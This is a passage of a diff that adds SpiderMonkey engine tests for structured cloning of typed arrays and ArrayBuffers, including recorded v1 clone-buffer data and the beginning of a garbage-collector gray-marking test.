+ view[0] = 1;
+ var mutator = { get foo() { view[0] = 2; } };
+ var copy = deserialize(serialize([ old, mutator ], [ old ], { scope }), { scope });
+ var viewCopy = new Int32Array(copy[0]);
+ assertEq(view.length, 0); // Underlying buffer now detached.
+ assertEq(viewCopy[0], 2);
+ }
+
+ // Detach the buffer during the clone operation. Should throw an
+ // exception.
+ if (size >= 4) {
+ const b1 = new ArrayBuffer(size);
+ let mutator = {
+ get foo() {
+ serialize(b1, [b1], { scope });
+ }
+ };
+
+ assertThrowsInstanceOf(
+ () => serialize([ b1, mutator ], [b1]),
+ TypeError,
+ "detaching (due to Transferring) while serializing should throw"
+ );
+
+ const b2 = new ArrayBuffer(size);
+ mutator = {
+ get foo() {
+ detachArrayBuffer(b2);
+ }
+ };
+
+ assertThrowsInstanceOf(
+ () => serialize([ b2, mutator ], [b2]),
+ TypeError,
+ "detaching (due to detachArrayBuffer) while serializing should throw"
+ );
+ }
+ }
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-typed-array.js b/js/src/tests/non262/extensions/clone-typed-array.js
new file mode 100644
index 0000000000..77f0376e91
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-typed-array.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function assertArraysEqual(a, b) {
+ assertEq(a.constructor, b.constructor);
+ assertEq(a.length, b.length);
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], b[i]);
+}
+
+function check(b) {
+ var a = deserialize(serialize(b));
+ assertArraysEqual(a, b);
+}
+
+function checkPrototype(ctor) {
+ var threw = false;
+ try {
+ serialize(ctor.prototype);
+ throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError");
+ } catch (exc) {
+ if (!(exc instanceof TypeError))
+ throw exc;
+ }
+}
+
+function test() {
+ // Test cloning ArrayBuffer objects.
+ check(new ArrayBuffer(0));
+ check(new ArrayBuffer(7));
+ checkPrototype(ArrayBuffer);
+
+ // Test cloning typed array objects.
+ var ctors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray];
+
+ var b;
+ for (var i = 0; i < ctors.length; i++) {
+ var ctor = ctors[i];
+
+ // check empty array
+ b = new ctor(0);
+ check(b);
+
+ // check array with some elements
+ b = new ctor(100);
+ var v = 1;
+ for (var j = 0; j < 100; j++) {
+ b[j] = v;
+ v *= 7;
+ }
+ b[99] = NaN; // check serializing NaNs too
+ check(b);
+
+ // try the prototype
+ checkPrototype(ctor);
+ }
+
+ // Two TypedArrays backed by the same ArrayBuffer should be cloned into two
+ // TypedArrays still sharing a buffer. This also tests cloning TypedArrays
+ // where the arr->data pointer is not 8-byte-aligned.
+
+ var base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ var a = deserialize(serialize(b));
+ base[1] = -1;
+ a[0][2] = -2;
+ assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base
+ assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base
+ assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base
+ assertArraysEqual(a[1], new Int8Array([1, -2, 3])); // not shared with base, shared with a[0]
+
+ assertEq(b[0].buffer, b[1].buffer);
+ assertEq(b[1].byteOffset, 1);
+ assertEq(b[1].byteLength, 3);
+ assertEq(b[1].buffer.byteLength, 4);
+
+ // ArrayBuffer clones do not preserve properties
+
+ base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ base.buffer.prop = "yes";
+ base.buffer.loop = b[0];
+ base.buffer.loops = [ b[0], b[1] ];
+ a = deserialize(serialize(b));
+ assertEq("prop" in a[0].buffer, false);
+ assertEq("prop" in a[1].buffer, false);
+ assertEq("loop" in a[0].buffer, false);
+ assertEq("loop" in a[1].buffer, false);
+ assertEq("loops" in a[0].buffer, false);
+ assertEq("loops" in a[1].buffer, false);
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/clone-v1-typed-array-data.dat b/js/src/tests/non262/extensions/clone-v1-typed-array-data.dat
new file mode 100644
index 0000000000..9ced341009
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-v1-typed-array-data.dat
@@ -0,0 +1,32 @@
+var captured = [];
+captured[0] = serialize(0); captured[0].clonebuffer = String.fromCharCode(0, 0, 0, 0, 9, 0, 255, 255);
+captured[1] = serialize(0); captured[1].clonebuffer = String.fromCharCode(7, 0, 0, 0, 9, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[2] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[3] = serialize(0); captured[3].clonebuffer = String.fromCharCode(0, 0, 0, 0, 0, 1, 255, 255);
+captured[4] = serialize(0); captured[4].clonebuffer = String.fromCharCode(100, 0, 0, 0, 0, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[5] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[6] = serialize(0); captured[6].clonebuffer = String.fromCharCode(0, 0, 0, 0, 1, 1, 255, 255);
+captured[7] = serialize(0); captured[7].clonebuffer = String.fromCharCode(100, 0, 0, 0, 1, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[8] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[9] = serialize(0); captured[9].clonebuffer = String.fromCharCode(0, 0, 0, 0, 2, 1, 255, 255);
+captured[10] = serialize(0); captured[10].clonebuffer = String.fromCharCode(100, 0, 0, 0, 2, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[11] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[12] = serialize(0); captured[12].clonebuffer = String.fromCharCode(0, 0, 0, 0, 3, 1, 255, 255);
+captured[13] = serialize(0); captured[13].clonebuffer = String.fromCharCode(100, 0, 0, 0, 3, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[14] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[15] = serialize(0); captured[15].clonebuffer = String.fromCharCode(0, 0, 0, 0, 4, 1, 255, 255);
+captured[16] = serialize(0); captured[16].clonebuffer = String.fromCharCode(100, 0, 0, 0, 4, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[17] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[18] = serialize(0); captured[18].clonebuffer = String.fromCharCode(0, 0, 0, 0, 5, 1, 255, 255);
+captured[19] = serialize(0); captured[19].clonebuffer = String.fromCharCode(100, 0, 0, 0, 5, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+captured[20] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[21] = serialize(0); captured[21].clonebuffer = String.fromCharCode(0, 0, 0, 0, 6, 1, 255, 255);
+captured[22] = serialize(0); captured[22].clonebuffer = String.fromCharCode(100, 0, 0, 0, 6, 1, 255, 255, 0, 0, 128, 63, 0, 0, 224, 64, 0, 0, 68, 66, 0, 128, 171, 67, 0, 16, 22, 69, 0, 78, 131, 70, 128, 200, 229, 71, 112, 15, 73, 73, 130, 237, 175, 74, 210, 239, 25, 76, 216, 177, 134, 77, 57, 183, 235, 78, 82, 64, 78, 80, 72, 120, 180, 81, 63, 233, 29, 83, 23, 44, 138, 84, 40, 205, 241, 85, 131, 147, 83, 87, 19, 33, 185, 88, 240, 252, 33, 90, 82, 189, 141, 91, 80, 11, 248, 92, 230, 9, 89, 94, 169, 232, 189, 95, 148, 43, 38, 97, 34, 102, 145, 98, 187, 114, 254, 99, 100, 164, 94, 101, 215, 207, 194, 102, 220, 117, 42, 104, 33, 39, 149, 105, 61, 130, 2, 107, 234, 99, 100, 108, 109, 215, 199, 109, 127, 220, 46, 111, 239, 0, 153, 112, 209, 224, 5, 114, 110, 73, 106, 115, 65, 0, 205, 116, 57, 96, 51, 118, 49, 244, 156, 119, 171, 85, 9, 121, 236, 85, 112, 122, 46, 75, 210, 123, 200, 1, 56, 125, 143, 1, 161, 126, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 192, 127);
+captured[23] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[24] = serialize(0); captured[24].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 1, 255, 255);
+captured[25] = serialize(0); captured[25].clonebuffer = String.fromCharCode(100, 0, 0, 0, 7, 1, 255, 255, 0, 0, 0, 0, 0, 0, 240, 63, 0, 0, 0, 0, 0, 0, 28, 64, 0, 0, 0, 0, 0, 128, 72, 64, 0, 0, 0, 0, 0, 112, 117, 64, 0, 0, 0, 0, 0, 194, 162, 64, 0, 0, 0, 0, 192, 105, 208, 64, 0, 0, 0, 0, 16, 185, 252, 64, 0, 0, 0, 0, 238, 33, 41, 65, 0, 0, 0, 64, 176, 253, 85, 65, 0, 0, 0, 56, 250, 61, 131, 65, 0, 0, 0, 241, 58, 214, 176, 65, 0, 0, 192, 37, 231, 118, 221, 65, 0, 0, 8, 65, 10, 200, 9, 66, 0, 0, 231, 248, 8, 143, 54, 66, 0, 32, 202, 217, 39, 189, 99, 66, 0, 220, 144, 222, 130, 69, 145, 66, 0, 129, 125, 5, 165, 57, 190, 66, 224, 208, 205, 100, 112, 114, 234, 66, 196, 22, 52, 88, 34, 36, 23, 67, 236, 147, 45, 13, 158, 63, 68, 67, 110, 225, 135, 75, 170, 183, 113, 67, 128, 202, 45, 4, 106, 1, 159, 67, 48, 17, 168, 195, 60, 33, 203, 67, 10, 15, 51, 43, 21, 189, 247, 67, 41, 173, 204, 133, 114, 197, 36, 68, 132, 23, 19, 53, 196, 44, 82, 68, 39, 105, 225, 92, 87, 206, 127, 68, 2, 60, 69, 113, 140, 212, 171, 68, 130, 148, 28, 227, 250, 89, 216, 68, 242, 1, 185, 134, 187, 78, 5, 69, 180, 225, 225, 21, 228, 164, 50, 69, 126, 165, 37, 147, 71, 80, 96, 69, 156, 225, 129, 65, 125, 140, 140, 69, 104, 165, 81, 153, 237, 250, 184, 69, 187, 112, 39, 230, 143, 219, 229, 69, 164, 130, 98, 233, 29, 32, 19, 70, 80, 50, 54, 44, 26, 188, 64, 70, 12, 216, 94, 205, 45, 73, 109, 70, 10, 253, 178, 19, 8, 160, 153, 70, 105, 157, 60, 17, 7, 108, 198, 70, 188, 9, 21, 47, 134, 158, 243, 70, 132, 104, 50, 105, 181, 42, 33, 71, 231, 54, 24, 120, 189, 10, 78, 71, 10, 48, 21, 201, 101, 73, 122, 71, 9, 138, 242, 15, 57, 0, 167, 71, 200, 56, 244, 237, 49, 32, 212, 71, 175, 177, 53, 176, 43, 156, 1, 72, 242, 246, 93, 116, 76, 209, 46, 72, 20, 56, 210, 229, 34, 247, 90, 72, 18, 241, 23, 137, 62, 152, 135, 72, 240, 242, 244, 183, 54, 165, 180, 72, 146, 84, 246, 224, 143, 16, 226, 72, 0, 20, 175, 201, 251, 156, 15, 73, 128, 49, 121, 80, 92, 169, 59, 73, 80, 11, 106, 198, 48, 52, 104, 73, 230, 201, 156, 173, 170, 45, 149, 73, 169, 48, 233, 87, 245, 135, 194, 73, 148, 10, 236, 172, 246, 54, 240, 73, 131, 18, 157, 174, 47, 96, 28, 74, 51, 112, 201, 184, 41, 212, 72, 74, 45, 66, 176, 129, 164, 185, 117, 74, 231, 57, 122, 241, 111, 2, 163, 74, 170, 242, 74, 243, 33, 162, 208, 74, 170, 40, 195, 105, 187, 27, 253, 74, 149, 195, 138, 252, 67, 120, 41, 75, 34, 107, 249, 124, 59, 73, 86, 75, 190, 61, 90, 13, 20, 128, 131, 75, 6, 246, 174, 139, 17, 16, 177, 75, 138, 46, 114, 180, 30, 220, 221, 75, 185, 232, 227, 221, 154, 32, 10, 76, 162, 107, 39, 130, 135, 220, 54, 76, 46, 126, 226, 145, 246, 0, 100, 76, 104, 46, 166, 191, 215, 128, 145, 76, 54, 209, 98, 143, 121, 161, 190, 76, 15, 119, 118, 93, 74, 205, 234, 76, 45, 168, 199, 17, 161, 115, 23, 77, 39, 179, 142, 239, 44, 133, 68, 77, 194, 220, 156, 81, 135, 244, 113, 77, 84, 130, 210, 206, 236, 107, 159, 77, 10, 50, 248, 52, 111, 126, 203, 77, 201, 43, 89, 78, 161, 14, 248, 77, 80, 6, 142, 36, 205, 12, 37, 78, 134, 69, 252, 127, 51, 107, 82, 78, 213, 188, 252, 15, 205, 29, 128, 78, 117, 74, 250, 219, 38, 52, 172, 78, 38, 1, 123, 0, 162, 173, 216, 78, 1, 161, 107, 192, 237, 151, 5, 79, 225, 44, 94, 8, 240, 228, 50, 79, 69, 103, 82, 7, 82, 136, 96, 79, 185, 52, 208, 140, 143, 238, 140, 79, 34, 46, 54, 155, 189, 80, 185, 79, 94, 104, 207, 231, 165, 38, 230, 79, 82, 123, 213, 42, 209, 97, 19, 80, 232, 203, 122, 5, 151, 245, 64, 80, 214, 228, 150, 73, 200, 173, 109, 80, 59, 8, 100, 64, 15, 248, 153, 80, 52, 135, 87, 88, 13, 185, 198, 80, 78, 150, 76, 173, 235, 225, 243, 80, 132, 3, 163, 55, 174, 101, 33, 81, 0, 0, 0, 0, 0, 0, 248, 127);
+captured[26] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[27] = serialize(0); captured[27].clonebuffer = String.fromCharCode(0, 0, 0, 0, 8, 1, 255, 255);
+captured[28] = serialize(0); captured[28].clonebuffer = String.fromCharCode(100, 0, 0, 0, 8, 1, 255, 255, 1, 7, 49, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0);
+captured[29] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[30] = serialize(0); captured[30].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 0, 255, 255, 0, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 0, 1, 2, 0, 0, 0, 0, 0, 1, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 1, 2, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255);
diff --git a/js/src/tests/non262/extensions/clone-v1-typed-array.js b/js/src/tests/non262/extensions/clone-v1-typed-array.js
new file mode 100644
index 0000000000..ae81075e83
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-v1-typed-array.js
@@ -0,0 +1,130 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// This file is a copy of clone-typed-array.js from before v2 structured clone
+// was implemented. If you run this test under a v1-writing engine with the
+// environment variable JS_RECORD_RESULTS set, then it will output a log of
+// structured clone buffers resulting from running this test. You can then use
+// that log as input to another run of this same test on a newer engine, to
+// verify that older-format structured clone data can be deserialized properly.
+
+var old_serialize = serialize;
+var captured = [];
+
+if (os.getenv("JS_RECORD_RESULTS") !== undefined) {
+ serialize = function(o) {
+ var data;
+ try {
+ data = old_serialize(o);
+ captured.push(data);
+ return data;
+ } catch(e) {
+ captured.push(e);
+ throw(e);
+ }
+ };
+} else {
+ loadRelativeToScript("clone-v1-typed-array-data.dat");
+ serialize = function(d) {
+ var data = captured.shift();
+ if (data instanceof Error)
+ throw(data);
+ else
+ return data;
+ };
+}
+
+function assertArraysEqual(a, b) {
+ assertEq(a.constructor, b.constructor);
+ assertEq(a.length, b.length);
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], b[i]);
+}
+
+function check(b) {
+ var a = deserialize(serialize(b));
+ assertArraysEqual(a, b);
+}
+
+function checkPrototype(ctor) {
+ var threw = false;
+ try {
+ serialize(ctor.prototype);
+ throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError");
+ } catch (exc) {
+ if (!(exc instanceof TypeError))
+ throw exc;
+ }
+}
+
+function test() {
+ // Test cloning ArrayBuffer objects.
+ check(new ArrayBuffer(0));
+ check(new ArrayBuffer(7));
+ checkPrototype(ArrayBuffer);
+
+ // Test cloning typed array objects.
+ var ctors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray];
+
+ var b;
+ for (var i = 0; i < ctors.length; i++) {
+ var ctor = ctors[i];
+
+ // check empty array
+ b = new ctor(0);
+ check(b);
+
+ // check array with some elements
+ b = new ctor(100);
+ var v = 1;
+ for (var j = 0; j < 100; j++) {
+ b[j] = v;
+ v *= 7;
+ }
+ b[99] = NaN; // check serializing NaNs too
+ check(b);
+
+ // try the prototype
+ checkPrototype(ctor);
+ }
+
+ // Cloning should separately copy two TypedArrays backed by the same
+ // ArrayBuffer. This also tests cloning TypedArrays where the arr->data
+ // pointer is not 8-byte-aligned.
+
+ var base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ var a = deserialize(serialize(b));
+ base[1] = -1;
+ a[0][2] = -2;
+ assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base
+ assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base
+ assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base
+ assertArraysEqual(a[1], new Int8Array([1, 2, 3])); // not shared with base or a[0]
+}
+
+test();
+reportCompare(0, 0, 'ok');
+
+if (os.getenv("JS_RECORD_RESULTS") !== undefined) {
+ print("var captured = [];");
+ for (var i in captured) {
+ var s = "captured[" + i + "] = ";
+ if (captured[i] instanceof Error) {
+ print(s + captured[i].toString() + ";");
+ } else {
+ data = captured[i].clonebuffer.split('').map(c => c.charCodeAt(0));
+ print(s + "serialize(0); captured[" + i + "].clonebuffer = String.fromCharCode(" + data.join(", ") + ");");
+ }
+ }
+}
diff --git a/js/src/tests/non262/extensions/collect-gray.js b/js/src/tests/non262/extensions/collect-gray.js
new file mode 100644
index 0000000000..4beb9f094f
--- /dev/null
+++ b/js/src/tests/non262/extensions/collect-gray.js
@@ -0,0 +1,153 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1337209;
+var summary =
+ "Test gray marking";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof gczeal !== 'undefined')
+ gczeal(0);
+
+grayRoot().x = Object.create(null);
+addMarkObservers([grayRoot(), grayRoot().x, this, Object.create(null)]);
+gc();
+let marks = getMarks();
+assertEq(marks[0], 'gray', 'gray root');
+assertEq(marks[1], 'gray', 'object reachable from gray root');
+assertEq(marks[2], 'black', 'global');
+assertEq(marks[3], 'dead', 'dead object should have been collected');
+
+grayRoot().x = 7; // Overwrite the object
+gc();
+marks = getMarks();
+assertEq(marks[0], 'gray', 'gray root');
+assertEq(marks[1], 'dead', 'object no longer reachable from gray root');
+assertEq(marks[2], 'black', 'global');
+assertEq(marks[3], 'dead', 'dead object should have been collected');
+
+var wm = new WeakMap();
+var global = newGlobal({newCompartment: true});
+
+var wrapper1 = global.eval("Object.create(null)");
+wrapper1.name = "wrapper1";
+var value1 = Object.create(null);
+wm.set(wrapper1, value1);
+
+var wrapper2 = global.eval("Object.create(null)");
+wrapper2.name = "wrapper2";
